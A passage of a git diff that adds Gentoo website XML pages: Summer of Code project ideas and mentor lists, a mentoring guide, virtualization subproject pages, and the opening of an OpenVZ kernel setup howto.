+        of Scire is to make administration of massive networks of Linux 
+        machines easy on administrators.  The project has large goals so
+        applicants would be advised to focus on a specific subsystem to
+        develop for the SoC.</ti>
+  </tr>
+  <tr>
+    <ti>CVS Code Review</ti>
+    <ti>This project involves implementing a code review system for cvs.
+        The workflow would be: User tries to make a commit, a cvs pre-commit
+        script examines the commit and must uniquely identify it (difficult).
+        Once uniquely identified; the commit must be checked in a data store
+        to see if it is already approved.  If it has been approved previously
+        then the commit succeeds.  Otherwise the commit fails and mail is sent
+        to zero or more 'interested parties'.  The project should include some
+        sort of script or application to approve commits.  The project may also
+        need to include a webGUI to track commits and approvals and whatnot;
+        depending on how difficult the rest of the project becomes.</ti>
+  </tr>
+  <tr>
+    <ti>Improved Bugs Reporting Form</ti>
+    <ti>Improve upon Gentoo's Bugzilla (either within bugzilla or externally)
+        to get better metrics per CP(V).  Have some sort of AJAX lookup for 
+        real CPV's.  Store the CPV per bug (how to do bugs w/multiple CPVs?).
+        This lets us harvest bug information better because we can bind CPV's
+        to bugs.</ti>
+  </tr>
+  <tr>
+    <ti>Integration of LVM/EVMS into the Gentoo Linux Installer</ti>
+    <ti>Make it possible to use LVM or EVMS while installing Gentoo with
+        the GLI.</ti>
+  </tr>
+  <tr>
+    <ti>Paludis Ebuild Development Tool</ti>
+    <ti>Paludis needs a tool to aid in ebuild development.  It could
+        be similar in scope to the portage 'ebuild' tool or the pkgcore
+        'pebuild' tool.  However it doesn't have to conform to either
+        tool and could very well be something different (yet equally
+        or more useful).</ti>
+  </tr>
+  <tr>
+    <ti>Gentoo Router/CPE System</ti>
+    <ti>A Gentoo based mini distrobution for embedded devices targeting
+        wired/wireless networks and end user CPE.  Similar in concept to
+	<uri link="http://openwrt.org">OpenWRT</uri> and
+	<uri link="http://www.pamurray.com/manga/">Debian in 3.1 Watts</uri>
+    </ti>
+  </tr>
+</table>
+</body>
+</section>
+</extrachapter>
+
+
+<extrachapter>
+<title>Mentors for Summer of Code 2007</title>
+<section>
+<body>
+<table>
+  <tr>
+    <th>Developer</th>
+    <th>E-mail</th>
+  </tr>
+
+   <tr>
+    <ti>Alec Warner</ti>
+    <ti>antarus@gentoo.org</ti>
+   </tr>
+
+   <tr>
+    <ti>Alexander Faeroy</ti>
+    <ti>eroyf@gentoo.org</ti>
+   </tr>
+
+   <tr>
+    <ti>Christel Dahlskjaer</ti>
+    <ti>christel@gentoo.org</ti>
+   </tr>
+
+   <tr>
+    <ti>Denny Van Dyk</ti>
+    <ti>kugelfang@gentoo.org</ti>
+   </tr>
+
+   <tr>
+    <ti>Dimity Bradt</ti>
+    <ti>diox@gentoo.org</ti>
+   </tr>
+
+   <tr>
+    <ti>Grant Goodyear</ti>
+    <ti>g2boojum@gentoo.org</ti>
+   </tr>
+
+   <tr>
+    <ti>Markus Ullman</ti>
+    <ti>jokey@gentoo.org</ti>
+   </tr>
+
+   <tr>
+    <ti>Matt Disney</ti>
+    <ti>mdisney@gentoo.org</ti>
+   </tr>
+
+   <tr>
+    <ti>Mike Kelly</ti>
+    <ti>pioto@gentoo.org</ti>
+   </tr>
+
+   <tr>
+    <ti>Patrick McLean</ti>
+    <ti>chutzpah@gentoo.org</ti>
+   </tr>
+
+   <tr>
+    <ti>Preston Cody</ti>
+    <ti>codeman@gentoo.org</ti>
+   </tr>
+
+   <tr>
+    <ti>Stephen Bennett</ti>
+    <ti>spb@gentoo.org</ti>
+   </tr>
+
+   <tr>
+    <ti>Steve Dibb</ti>
+    <ti>beandog@gentoo.org</ti>
+   </tr>
+
+   <tr>
+    <ti>Xavier M.G Neys</ti>
+    <ti>neysx@gentoo.org</ti>
+   </tr>
+
+   <tr>
+    <ti>Mike Doty</ti>
+    <ti>kingtaco@gentoo.org</ti>
+   </tr>
+
+</table>
+</body>
+</section>
+</extrachapter>
+<!--
+<extrachapter>
+<title>Students for Summer of Code 2006</title>
+<section>
+<body>
+<table>
+  <tr>
+    <th>Student</th>
+    <th>E-mail</th>
+    <th>Project</th>
+  </tr>
+</table>
+</body>
+</section>
+</extrachapter>
+-->
+
+<!--
+<extrachapter>
+<title>Planet Gentoo</title>
+<section>
+<body>
+  
+<p>
+Planet Gentoo has setup an RSS feed and website for the Summer of Code
+bloggers. The website is available at <uri>http://planet.gentoo.org/soc</uri>
+</p>
+
+</body>
+</section>
+</extrachapter>
+-->
+
+</project>
+
diff --git a/xml/htdocs/proj/en/userrel/soc/index.xml b/xml/htdocs/proj/en/userrel/soc/index.xml
new file mode 100644
index 00000000..5d66fff3
--- /dev/null
+++ b/xml/htdocs/proj/en/userrel/soc/index.xml
@@ -0,0 +1,131 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<?xml-stylesheet href="/xsl/project.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE project SYSTEM "/dtd/project.dtd">
+
+<project>
+<name>soc</name>
+<longname>Gentoo Summer of Code</longname>
+<date>2010-03-31</date>
+
+<author title="Author">
+  <mail link="dberkholz@gentoo.org">Donnie Berkholz</mail>
+</author>
+
+<author title="Author">
+  <mail link="antarus@gentoo.org">Alec Warner</mail>
+</author>
+
+<author title="Author">
+  <mail link="tsunam@gentoo.org">Joshua Jackson</mail>
+</author>
+
+<description>
+  The Gentoo Summer of Code subproject oversees Gentoo's participation in the
+  annual Google Summer of Code program.
+</description>
+
+<longdescription>
+
+<p>
+For the fifth year running, Google is organising a <uri 
+link="http://code.google.com/soc/">Summer of Code</uri>, funding 
+students to work on open-source projects over the summer. Gentoo is 
+participating in Summer of Code 2010. Google announced organizations in this
+year's program on March 18.
+</p>
+
+</longdescription>
+
+<dev role="Admin">dberkholz</dev>
+<dev role="Backup Admin">antarus</dev>
+
+<extrachapter>
+<title>Applying to GSOC 2010</title>
+<section>
+<title>As a Student</title>
+<body>
+<p>Student applications are now open. Google will accept student applications March 29-April 9.  (Please see the published
+<uri link="http://socghop.appspot.com/document/show/gsoc_program/google/gsoc2010/faqs#timeline">
+GSOC timeline</uri> in case that deadline should change).
+Before applying, we encourage you to browse our project ideas below and
+offer up your own ideas in #gentoo-soc on freenode and on <mail
+link="gentoo-soc+subscribe@lists.gentoo.org"> the gentoo-soc mailing list</mail>.  We
+urge you to discuss your ideas ahead of time with our prospective
+mentors so we can work out any kinks prior to the application deadline.
+Please also read our
+<uri link="http://www.gentoo.org/proj/en/userrel/soc/applying.xml">application
+guidelines</uri> prior to applying.
+</p>
+<p>If you have general questions about the Summer of Code, Google provides a <uri link="http://socghop.appspot.com/document/show/gsoc_program/google/gsoc2010/faqs">FAQ</uri>.</p>
+</body>
+</section>
+
+<section>
+<title>As a Mentor</title>
+<body>
+<p>
+Mentor applications are now open.  Please read the <uri 
+link="http://www.gentoo.org/proj/en/userrel/soc/mentoring.xml"> 
+mentoring guidelines</uri> to learn what you need to do to apply.  Then 
+go to the <uri link="http://socghop.appspot.com/">gsoc webapp</uri> to 
+apply to be a mentor.
+</p>
+</body>
+</section>
+</extrachapter>
+
+<extrachapter>
+<title>Project Ideas</title>
+<section>
+
+<body>
+
+<p>
+Some project ideas are on the <uri 
+link="http://en.gentoo-wiki.com/wiki/Google_Summer_of_Code_2010_ideas">Gentoo 
+wiki</uri>. We encourage you to also propose your own original ideas. 
+Potential mentors for each idea are also on the wiki; please contact 
+them before applying to discuss your idea. If you are proposing an 
+original idea, you can find potential mentors either on the gentoo-soc 
+mailing list or the #gentoo-soc IRC channel.
+</p>
+
+</body>
+</section>
+</extrachapter>
+
+<!--
+<extrachapter>
+<title>Students for Summer of Code 2006</title>
+<section>
+<body>
+<table>
+  <tr>
+    <th>Student</th>
+    <th>E-mail</th>
+    <th>Project</th>
+  </tr>
+</table>
+</body>
+</section>
+</extrachapter>
+-->
+
+<!--
+<extrachapter>
+<title>Planet Gentoo</title>
+<section>
+<body>
+  
+<p>
+Planet Gentoo has setup an RSS feed and website for the Summer of Code
+bloggers. The website is available at <uri>http://planet.gentoo.org/soc</uri>
+</p>
+
+</body>
+</section>
+</extrachapter>
+-->
+
+</project>
diff --git a/xml/htdocs/proj/en/userrel/soc/mentoring.xml b/xml/htdocs/proj/en/userrel/soc/mentoring.xml
new file mode 100644
index 00000000..25b9bbc2
--- /dev/null
+++ b/xml/htdocs/proj/en/userrel/soc/mentoring.xml
@@ -0,0 +1,162 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<guide>
+<title>Summer of Code mentoring guide</title>
+<author>antarus</author>
+<abstract>This guide is intended to be read by anyone who is interested
+in mentoring students for Gentoo in the Google Summer of Code.
+Interested mentors need not be Gentoo developers; anyone interested in
+mentoring should be able to make a case as to why they want to mentor should
+the SOC team have questions.
+</abstract>
+<version>1.1</version>
+<date>March 9, 2009</date>
+<chapter>
+<title>What it is to be a Mentor</title>
+<section>
+<title>Attributes</title>
+<body>
+<ul>
+  <li><b>Willing</b> - A mentor should be willing to mentor.  Mentoring is not a
+  forced activity and it is not required.  A mentor should not mentor
+  half-heartedly.  The Summer of Code experience is a great experience for
+  students and part of that experience is having some help along the way.  It
+  is also a great opportunity to recruit new people into a project and this
+  opportunity should not be squandered.  Of course mentoring also offers a
+  great opportunity for friendship.</li>
+  <li><b>Informed</b> - A mentor should know what they are signing up for; generally
+  by reading this document.  A mentor should be aware of the time requirements
+  and any mentor who knows they cannot devote the time required should probably
+  take a back-seat role; perhaps as a secondary or backup mentor.</li>
+  <li><b>Capable</b> - A mentor should be capable of mentoring for the given task.
+  Knowledge of the language the student is using is important as is knowledge
+  of the problem domain.  The student will (hopefully) be asking questions
+  about the project and their implementation (and as a mentor you should
+  arguably be questioning their implementation as you review it.)</li>
+  <li><b>Sociable</b> - A mentor should try to foster a relationship with the student.
+  It is important to critique the students work in a professional manner.
+  Complaints about rudeness and abuse should be filed to the GSoc team lead
+  and/or the Google Summer of Code staff.</li>
+</ul>
+</body>
+</section>
+<section>
+<title>Process</title>
+<body>
+<p>Being a mentor is about getting to know the student, helping the student,
+critiquing the student and insuring the student is making progress.  These are
+roles generally performed by a 'Tech Lead' or 'Project Manager'.  A person
+interested in mentoring should be prepared to do these tasks.</p>
+<p><b>Helping the Student</b>:
+The mentor should assist the student with common questions about the domain
+area, implementation and language specifics.  As a mentor you should not write
+the code for the student; however using unrelated examples that can communicate
+your point to the student are a good tool.</p>
+<p><b>Critiquing the student</b>:
+As a mentor you should review the student's work on a regular basis. A 
+student's chances of being on schedule <uri 
+link="http://google-opensource.blogspot.com/2009/08/contact-early-contact-often.html">go 
+down dramatically</uri> if you're in contact less than once a day. Even 
+twice a week is far worse than daily. You and the student should discuss 
+meeting times, number of meetings, and meeting duration. It is important 
+that you as a mentor ensure the student is staying on track and and is 
+meeting the deadlines set forth in their application.  If there are road 
+blocks that are hindering the student's progress you should aid the 
+student in overcoming them.
+</p>
+</body>
+</section>
+<section>
+<title>Applying to be a Mentor for GSOC 2010</title>
+<body>
+<p>
+Applications for mentorship are now open. You can apply on the <uri 
+link="http://socghop.appspot.com/">gsoc webapp</uri>. Once you apply, you 
+will be contacted by the program administrators (dberkholz or antarus) 
+to answer some questions about mentoring and why you have elected to be 
+a Mentor.  Mentor selection is currently decided at the sole descretion 
+of the program administrators.  All mentors should have sufficient 
+involvement within the Gentoo community to support their application.
+</p>
+</body>
+</section>
+<section>
+<title>Evaluating student proposals</title>
+<body>
+<p>
+Please read and score all proposals so that we don't bias our scores 
+toward ones that have more "experts" but may be less important. If you 
+are an expert on specific topics, please be sure to review your 
+proposals as quickly as possible so the rest of us can better judge the 
+student's understanding of his project and his likelihood of success 
+with it.
+</p>
+
+<p>
+If you haven't participated before, note that there are both public and 
+private comments. Public comments are seen by the student, and we expect 
+the student to respond. Poorly communicating students will be 
+down-ranked accordingly. Private comments are for use to discuss the 
+student with the other mentors.
+</p>
+
+<p>
+Please spend at least 5-15 minutes on each proposal for which you are 
+not the expert (varying based on your experience level in evaluation and 
+your reading speed).
+</p>
+
+<p>
+The primary goal of our participation in GSoC is to get new developers 
+&mdash; when you are reading proposals, consider the quality of the student 
+your #1 priority. Of course an awesome student tends to be highly 
+correlated with an awesome proposal, but also consider their likelihood 
+of them sticking around once the summer ends. We would rather have a new 
+developer than one summer's effort.
+</p>
+
+<p>
+Once all mentors have had a chance to evaluate the proposals, the 
+organization adminstrator will take their rankings into account, as well 
+as his own expertise and the selection criteria mentioned above, in 
+creating the final list of students.
+</p>
+
+</body>
+</section>
+<section>
+<title>The role of the organization administrator</title>
+<body>
+
+<p>
+The organization administrator is ultimately responsible for the success 
+of the program. In Google's eyes, this means both <uri 
+link="http://socghop.appspot.com/document/show/program/google/gsoc2009/studentallocations">passing 
+students and new developers</uri> &mdash; this is one reason for our 
+focus on potential developers versus a summer's work from someone who 
+will never return. Administrators are expected to have experience with 
+GSoC and will be knowledgeable about all aspects of the program, 
+including the high standards expected of students and proposals, the 
+culture of the Google Summer of Code program, and what it takes for 
+projects to be successful. Admins should have good relationships with 
+the Google employees running GSoC, to <uri 
+link="http://socghop.appspot.com/document/show/program/google/gsoc2009/orgcriteria">maximize 
+our chances</uri> of being selected for GSoC in the future. They are 
+Gentoo's primary contact with Google.
+</p>
+
+<p>
+Administrators ensure that a good list of project ideas is submitted, 
+write the organization application, select mentors, make final student 
+selections, ensure mentoring is going well, resolve any conflicts, and 
+are generally responsible for anything outside of mentoring individual 
+students. The administrator has the final word on all aspects of the 
+program, from mentor selection to student ranking.
+</p>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/en/virtualization/index.xml b/xml/htdocs/proj/en/virtualization/index.xml
new file mode 100644
index 00000000..1adb835d
--- /dev/null
+++ b/xml/htdocs/proj/en/virtualization/index.xml
@@ -0,0 +1,77 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/virtualization/index.xml,v 1.17 2009/12/14 19:37:56 cardoe Exp $ -->
+<?xml-stylesheet href="/xsl/project.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE project SYSTEM "/dtd/project.dtd">
+
+<project>
+<name>virtualization</name>
+<longname>Gentoo Virtualization Project</longname>
+<date>14 Dec 2009</date>
+
+<author title="Author">
+<mail link="dev-zero@gentoo.org">Tiziano Müller</mail>
+</author>
+<author title='Editor'>
+<mail link="cardoe@gentoo.org">Doug Goldstein</mail>
+</author>
+
+<description>
+	The Gentoo Virtualization Project maintains packages shared between the
+	different virtualization (sub-)projects and provides documentation and
+	tools to the user to make Gentoo a first choice platform as both host
+	and guest system.
+</description>
+
+<longdescription>
+	<p>
+	With the various virtualization solutions are also tools available to
+	manage more than one kind of virtual machine.  Furthermore it is
+	possible to share certain knowledge on how to setup and administer
+	such systems. This project exists as a general virtualization project
+	to maintain common packages, to collect documentation and to give the
+	user a general overview what's available on all Gentoo platforms.
+	</p>
+
+	<p>
+	This includes (combination of) the following techniques:
+	KVM, Qemu, Lguest, Xen, VMWare, VirtualBox, vServer, OpenVZ,
+	Linux Containers, Solaris Zones, FreeBSD Jails
+	</p>
+</longdescription>
+
+<goals>
+	<p>
+	The current goal is to bring all stakeholders together and to define
+	the next steps.  Furthermore, mailinglist, irc-channel, mail-alias 
+	have to be created.  Shortly after defining how the different 
+	sub-projects should interact, a public announcement has to be made.
+    </p>
+</goals>
+
+<subproject ref="/proj/en/virtualization/vmware/index.xml" inheritmembers="yes"/>
+<subproject ref="/proj/en/virtualization/qemu/index.xml" inheritmembers="yes"/>
+<subproject ref="/proj/en/virtualization/xen/index.xml" inheritmembers="yes"/>
+<subproject ref="/prog/en/vps/index.xml" inheritmembers="no"/>
+
+<dev role="member" description="bochs">lu_zero</dev>
+<dev role="member" description="libvirt">cardoe</dev>
+<dev role="member" description="libvirt">flameeyes</dev>
+<dev role="member" description="VirtualBox">jokey</dev>
+
+<herd name="virtualization" />
+
+<extrachapter>
+<title>Contacting Us</title>
+<section>
+<title>IRC Channel</title>
+<body>
+<p>
+	You can reach all our developers (and some users of course) in
+	#gentoo-virtualization on
+	<uri link="irc://irc.freenode.net">irc.freenode.net</uri>
+</p>
+</body>
+</section>
+</extrachapter>
+</project>
diff --git a/xml/htdocs/proj/en/virtualization/qemu/index.xml b/xml/htdocs/proj/en/virtualization/qemu/index.xml
new file mode 100644
index 00000000..955664d0
--- /dev/null
+++ b/xml/htdocs/proj/en/virtualization/qemu/index.xml
@@ -0,0 +1,32 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/virtualization/qemu/index.xml,v 1.1 2009/12/14 17:23:30 cardoe Exp $ -->
+<?xml-stylesheet href="/xsl/project.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE project SYSTEM "/dtd/project.dtd">
+
+<project>
+<name>qemu</name>
+<longname>QEMU virtualization software and related packages</longname>
+<date>14 Dec 2009</date>
+
+<author title="Author">
+<mail link="cardoe@gentoo.org">Doug Goldstein</mail>
+</author>
+
+<description>
+	The Gentoo QEMU Project maintains packages related to QEMU.
+</description>
+
+<longdescription>
+	<p>
+	The Gentoo QEMU Project maintains packages related to QEMU.
+	</p>
+</longdescription>
+
+<dev role="member" description="qemu">lu_zero</dev>
+<dev role="member" description="qemu-kvm">cardoe</dev>
+<dev role="member" description="qemu-kvm">jmbsvicetto</dev>
+<dev role="member" description="qemu-kvm">tommy</dev>
+
+<herd name="qemu" />
+</project>
diff --git a/xml/htdocs/proj/en/virtualization/vmware/index.xml b/xml/htdocs/proj/en/virtualization/vmware/index.xml
new file mode 100644
index 00000000..43df18dd
--- /dev/null
+++ b/xml/htdocs/proj/en/virtualization/vmware/index.xml
@@ -0,0 +1,55 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/virtualization/vmware/index.xml,v 1.1 2009/12/14 19:37:56 cardoe Exp $ -->
+<?xml-stylesheet href="/xsl/project.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE project SYSTEM "/dtd/project.dtd">
+
+<project>
+<name>vmware</name>
+<longname>Gentoo VMware Project</longname>
+<date>17 May 2009</date>
+
+<description>
+The Gentoo VMware project maintains the VMware packages in the Gentoo portage
+tree, as well as contacts with VMware, Inc. 
+</description>
+
+<longdescription><p>
+The Gentoo VMware project ("vmware") is the official Gentoo project for the
+maintenance and development of VMware and VMware-related products in the Gentoo
+package repository. It is also responsible for creating and maintaining
+relations with VMware, Inc.
+</p></longdescription>
+
+<goals><p>
+The goals of the Gentoo VMware project are to coordinate the development of
+VMware-related ebuilds in the portage tree, and to establish good relations with
+VMware, Inc.
+</p></goals>
+
+<recruitment>
+  <job>
+    <summary>Team Member/Team Lead</summary>
+    <details>
+      A team member or the team lead is needed to package up the closed-source
+      vmware packages (currently workstation, player and server) for installation
+      on a Gentoo system.  The greatest part of this task is ensuring that the
+      appropriate kernel modules compile with the latest kernel whilst still maintaining
+      backwards compatibility with previous kernels.
+    </details>
+    <requirements>
+      Enthusiasm for challenging positions, knowledge of kernel modules and ability
+      to work with and around closed-source software.  Experience with ebuilds and eclasses
+      is vital.  Also, the current installer requires a good working knowledge of python
+      and standard unix tools (patch, etc).  The legacy installer requires a good working 
+      knowledge of perl.
+    </requirements>
+    <contact>vmware@gentoo.org</contact>
+  </job>
+</recruitment>
+
+<dev role="member">vadimk</dev>
+
+<herd name="vmware"/>
+
+</project>
diff --git a/xml/htdocs/proj/en/virtualization/xen/index.xml b/xml/htdocs/proj/en/virtualization/xen/index.xml
new file mode 100644
index 00000000..09ccde70
--- /dev/null
+++ b/xml/htdocs/proj/en/virtualization/xen/index.xml
@@ -0,0 +1,32 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/virtualization/xen/index.xml,v 1.1 2009/12/14 17:23:30 cardoe Exp $ -->
+<?xml-stylesheet href="/xsl/project.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE project SYSTEM "/dtd/project.dtd">
+
+<project>
+<name>xen</name>
+<longname>Xen virtualization software and related packages</longname>
+<date>14 Dec 2009</date>
+
+<author title="Author">
+<mail link="cardoe@gentoo.org">Doug Goldstein</mail>
+</author>
+
+<description>
+	The Gentoo Xen Project maintains packages related to Xen.
+</description>
+
+<longdescription>
+	<p>
+	The Gentoo Xen Project maintains packages related to Xen.
+	</p>
+</longdescription>
+
+<dev role="member">rbu</dev>
+<dev role="member">marineam</dev>
+<dev role="member">wschlich</dev>
+<dev role="member">alexxy</dev>
+
+<herd name="xen" />
+</project>
diff --git a/xml/htdocs/proj/en/vmware/index.xml b/xml/htdocs/proj/en/vmware/index.xml
new file mode 100644
index 00000000..0c9f401c
--- /dev/null
+++ b/xml/htdocs/proj/en/vmware/index.xml
@@ -0,0 +1,19 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/vmware/index.xml,v 1.8 2009/12/14 20:15:01 cardoe Exp $ -->
+<!DOCTYPE mainpage SYSTEM "/dtd/guide.dtd">
+
+<mainpage redirect="../virtualization/vmware/index.xml">
+
+<title>Gentoo VMware Project</title>
+<author title="Author">
+	<mail link="cardoe@gentoo.org">Doug GoldsteinM</mail>
+</author>
+<version>0</version>
+
+<chapter>
+	<title>Gentoo VMware Project</title>
+	<section>
+		<body><p></p></body>
+	</section>
+</chapter>
+</mainpage>
diff --git a/xml/htdocs/proj/en/vps/index.xml b/xml/htdocs/proj/en/vps/index.xml
new file mode 100644
index 00000000..b897dfe1
--- /dev/null
+++ b/xml/htdocs/proj/en/vps/index.xml
@@ -0,0 +1,174 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<?xml-stylesheet href="/xsl/project.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE project SYSTEM "/dtd/project.dtd">
+
+<project>
+<name>VPS</name>
+<longname>Gentoo Virtual Private Server Project</longname>
+<date>2009-03-17</date>
+
+<description>
+The Gentoo Virtual Private Server project maintains all VPS related packages.
+</description>
+
+<longdescription>
+
+<p>
+The Gentoo Virtual Private Server project aims to provide concerted development
+for virtualization techniques based on OS-level virtualization. We currently
+maintain the projects Linux-VServer and OpenVZ (aka Virtuozzo) for x86 and amd64
+in Gentoo.
+</p>
+
+<p>
+Virtualization is a framework or methodology of dividing the resources of a
+computer into multiple execution environments. Virtualization techniques create
+multiple isolated partitions (Virtual Machines (VM) or Virtual Private Servers
+(VPS)) on a single physical server. There are several kinds of virtualization
+techniques which provide similar features but differ in the degree of
+abstraction and the methods used for virtualization.
+</p>
+
+<p>
+See below for a detailed description of virtualization techniques
+</p>
+
+</longdescription>
+
+<goals><p>
+Our goal is to ensure that Gentoo provides the best environment possible for
+developing and running virtual private servers.
+</p></goals>
+
+<!-- Developer Roles -->
+<dev role="Lead Developer">Hollow</dev>
+<dev role="Member">pva</dev>
+<dev role="Member">bangert</dev>
+
+<!-- Project Specific Pages/Documentation -->
+<resource link="http://overlays.gentoo.org/proj/vps">The Gentoo VPS Overlay &amp; Wiki</resource>
+<resource link="overview.xml">Virtualization Overview</resource>
+<resource link="vserver-howto.xml">Gentoo VServer Howto</resource>
+<resource link="openvz-howto.xml">Gentoo OpenVZ Howto</resource>
+<resource link="stage4-howto.xml">Howto create custom VPS stages</resource>
+
+<!-- herds -->
+<herd name="vserver" />
+
+<!-- Chapter regarding mailing list & participation -->
+<extrachapter>
+<title>Getting Help</title>
+<section>
+<title>Project Pages</title>
+<body>
+
+
+<ul>
+<li><uri link="http://linux-vserver.org">Linux-VServer Wiki/Project Page</uri></li>
+<li><uri link="http://openvz.org">OpenVZ Wiki/Project Page</uri></li>
+</ul>
+
+</body>
+</section>
+<section>
+<title>Forums</title>
+<body>
+
+
+<ul>
+<li><uri link="http://forums.gentoo.org">Gentoo Forums</uri></li>
+<li><uri link="http://forum.openvz.org/">OpenVZ Forums</uri></li>
+</ul>
+
+</body>
+</section>
+<section>
+<title>Bugreports</title>
+<body>
+
+
+<ul>
+<li><uri link="http://bugs.gentoo.org">Gentoo Bugzilla</uri></li>
+<li><uri link="http://bugzilla.openvz.org">OpenVZ Bugzilla</uri></li>
+</ul>
+
+</body>
+</section>
+<section>
+<title>IRC Channels</title>
+<body>
+
+
+<p>
+You can reach all our developers (and some users of course) in #gentoo-vps on
+<uri link="irc://irc.freenode.net">irc.freenode.net</uri>
+</p>
+
+<ul>
+<li>Linux-VServer: #vserver on
+<uri link="irc://irc.oftc.net">irc.oftc.net</uri> -
+<uri link="http://irc.13thfloor.at/LOG/">Realtime Logs</uri>
+</li>
+<li>OpenVZ: #openvz on
+<uri link="irc://irc.freenode.net">irc.freenode.net</uri>
+</li>
+</ul>
+
+</body>
+</section>
+<section>
+<title>Mailing Lists</title>
+<body>
+
+
+<p>
+The Gentoo VPS project currently doesn't maintain an own mailing list. Though
+you can reach the various projects using the following lists:
+</p>
+
+<ul>
+<li>Linux-VServer:
+<uri link="mailto:vserver@list.linux-vserver.org">vserver@list.linux-vserver.org</uri> -
+<uri link="http://list.linux-vserver.org/mailman/listinfo/vserver">Info</uri> - 
+<uri link="http://list.linux-vserver.org/archive/vserver/">Archives</uri>
+</li>
+<li>OpenVZ: 
+<uri link="mailto:users@openvz.org">users@openvz.org</uri> -
+<uri link="https://openvz.org/mailman/listinfo/users">Info</uri> - 
+<uri link="http://openvz.org/pipermail/users/">Archives</uri>
+</li>
+</ul>
+
+</body>
+</section>
+</extrachapter>
+<extrachapter>
+<title>Getting Involved</title>
+<section>
+<title>Participating</title>
+<body>
+
+<p>
+The best way to get involved with what we do is to contact one of our developers
+and hanging around in #gentoo-vps. You can also send an email to 
+<uri link="mailto:vserver-devs@gentoo.org">vserver-devs@gentoo.org</uri>.
+</p>
+
+<p>
+You are more than welcome to help with the 
+<uri link="http://bugs.gentoo.org/buglist.cgi?query_format=advanced&amp;short_desc_type=allwordssubstr&amp;long_desc_type=substring&amp;bug_file_loc_type=allwordssubstr&amp;status_whiteboard_type=allwordssubstr&amp;status_whiteboard=&amp;keywords_type=allwords&amp;bug_status=NEW&amp;bug_status=ASSIGNED&amp;bug_status=REOPENED&amp;emailassigned_to2=1&amp;emailreporter2=1&amp;emailcc2=1&amp;emailtype2=substring&amp;email2=vserver-devs@gentoo.org&amp;bugidtype=include&amp;chfieldto=Now&amp;cmdtype=doit&amp;order=Reuse+same+sort+as+last+time">current list of bugs</uri>.
+</p>
+
+<p>
+There are always things to be done (and exciting new ideas to turn into
+reality), and we're always looking for new ways to make Gentoo the first
+choice for developers and for system administrators running virtual private
+servers with Linux-VServer or OpenVZ.
+</p>
+
+</body>
+</section>
+</extrachapter>
+
+</project>
diff --git a/xml/htdocs/proj/en/vps/openvz-howto.xml b/xml/htdocs/proj/en/vps/openvz-howto.xml
new file mode 100644
index 00000000..a528da49
--- /dev/null
+++ b/xml/htdocs/proj/en/vps/openvz-howto.xml
@@ -0,0 +1,180 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/vps/openvz-howto.xml,v 1.4 2009/03/18 18:56:47 bangert Exp $ -->
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<guide link="/proj/en/vps/vserver-howto.xml">
+<title>Gentoo OpenVZ Howto</title>
+
+<author title="Author">
+  <mail link="hollow@gentoo.org">Benedikt Boehm</mail>
+</author>
+
+<abstract>
+In this Howto you will learn to setup a basic virtual server using the
+OpenVZ Technology
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>1.1</version>
+<date>2007-03-22</date>
+
+<chapter>
+<title>Host configuration</title>
+<section>
+<title>Install an OpenVZ kernel</title>
+<body>
+
+<pre caption="Install openvz-sources">
+# <i>emerge openvz-sources</i>
+</pre>
+
+<p>
+After the openvz-sources are installed it's time to configure them using
+<c>make menuconfig</c>.
+</p>
+
+<pre caption="Configure openvz-sources">
+# <i>cd /usr/src/linux-&lt;KERNELVERSION&gt;-openvz-&lt;OPENVZVERSION&gt;</i>
+# <i>make menuconfig</i>
+
+Processor type and features  ---&gt;
+  [*] Fair CPU scheduler
+  [*]   VCPU scheduler support
+File Systems  ---&gt;
+  [*] Quota support
+  &lt;M&gt; VPS filesystem
+  &lt;M&gt; Virtuozzo Disk Quota support
+  [ ]   Unloadable Virtuozzo Disk Quota module
+  [*]   Per-user and per-group quota in Virtuozzo quota partitions
+OpenVZ  ---&gt;
+  [*] Virtual Environment support
+  &lt;M&gt;   VE calls interface
+  [ ]   Enable sysfs support in Virtual Environments
+  &lt;M&gt;   VE networking
+  [*]     VE netfiltering
+  &lt;M&gt;   VE watchdog module
+</pre>
+
+<p>
+After you've built and installed the kernel, update your boot loader and
+finally reboot to see if the kernel boots correctly.
+</p>
+
+<pre caption="Install the kernel">
+<comment>(Building the kernel)</comment>
+# <i>make</i>
+<comment>(Installing)</comment>
+# <i>make modules_install</i>
+# <i>cp arch/&lt;arch&gt;/boot/bzImage /boot/kernel-&lt;KERNELVERSION&gt;-openvz-&lt;OPENVZVERSION&gt;</i>
+<comment>(Edit bootloader config file as required and)</comment>
+# <i>reboot</i>
+</pre>
+
+</body>
+</section>
+<section>
